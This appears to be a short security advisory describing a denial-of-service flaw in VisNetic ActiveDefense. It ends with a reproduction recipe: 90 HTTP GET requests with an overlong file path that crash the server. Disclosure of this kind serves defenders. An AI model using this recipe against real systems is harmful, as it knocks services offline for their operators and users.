source: http://www.securityfocus.com/bid/7428/info

A denial of service vulnerability has been discovered in VisNetic ActiveDefense. The problem occurs when multiple HTTP requests are subsequently made to a server, containing a specific amount of data. After processing these requests, the affected system will crash.

The system must be restarted to restore regularly functionality. 

Transmit 90 packets to the target server, each containing the following data:

GET /xxx...[100]..xxx.htm HTTP/1.0,